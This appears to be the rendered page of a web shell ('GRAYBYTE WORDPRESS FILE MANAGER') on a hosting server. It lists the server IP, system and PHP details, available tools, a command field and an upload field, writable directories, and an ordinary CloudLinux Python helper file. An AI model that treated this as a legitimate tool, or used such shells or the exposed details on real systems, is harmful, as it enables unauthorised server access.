GRAYBYTE WORDPRESS FILE MANAGER4743

Server IP : 198.54.121.189 / Your IP : 216.73.216.112
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /opt/imunify360/venv/lib/python3.11/site-packages/clcommon/cpapi/
Upload Files :
Current_dir [ Not Writeable ] Document_root [ Writeable ]

Command :


Current File : /opt/imunify360/venv/lib/python3.11/site-packages/clcommon/cpapi//utils.py
import sys
from functools import wraps
from clcommon.const import Feature
from clcommon.cpapi import is_panel_feature_supported

from clcommon.lib.cledition import (
    CLEditionDetectionError,
)

__all__ = (
    "skip_without_lve",
    "lve_supported_or_exit",
)


_SKIP_MESSAGE = (
    "Command is skipped as LVE feature is not supported in current environment\n"
    "Refer to https://docs.cloudlinux.com/solo/introduction/#cloudlinux-os-editions-comparison for more info"
)


def skip_without_lve():
    try:
        # we still have some utils that could be run
        # under user (e.g cloudlinux-selector)
        if not is_panel_feature_supported(Feature.LVE):
            print(_SKIP_MESSAGE)
            sys.exit(0)
    except CLEditionDetectionError as e:
        print(f"Error: {e}")
        sys.exit(1)


def lve_supported_or_exit(f):
    @wraps(f)
    def inner(*args, **kwargs):
        if not is_panel_feature_supported(Feature.LVE):
            print(_SKIP_MESSAGE)
        else:
            return f(*args, **kwargs)

    return inner

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
July 02 2025 08:36:55
root / root
0755
GeneralPanel
--
July 02 2025 08:36:55
root / root
0755
__pycache__
--
July 02 2025 08:36:55
root / root
0755
cache
--
July 02 2025 08:36:55
root / root
0755
plugins
--
July 02 2025 08:36:55
root / root
0755
__init__.py
14.542 KB
June 09 2025 11:12:39
root / root
0644
apilink.py
0.261 KB
June 09 2025 11:12:39
root / root
0644
clcpapi.py
3.643 KB
June 09 2025 11:12:39
root / root
0644
const.py
0.499 KB
June 09 2025 11:12:39
root / root
0644
cpapicustombin.py
2.123 KB
June 09 2025 11:12:39
root / root
0644
cpapiexceptions.py
1.748 KB
June 09 2025 11:12:39
root / root
0644
panel_hooks_lib.py
1.225 KB
June 09 2025 11:12:39
root / root
0644
pluginlib.py
7.57 KB
June 09 2025 11:12:39
root / root
0644
utils.py
1.029 KB
June 09 2025 11:12:39
root / root
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF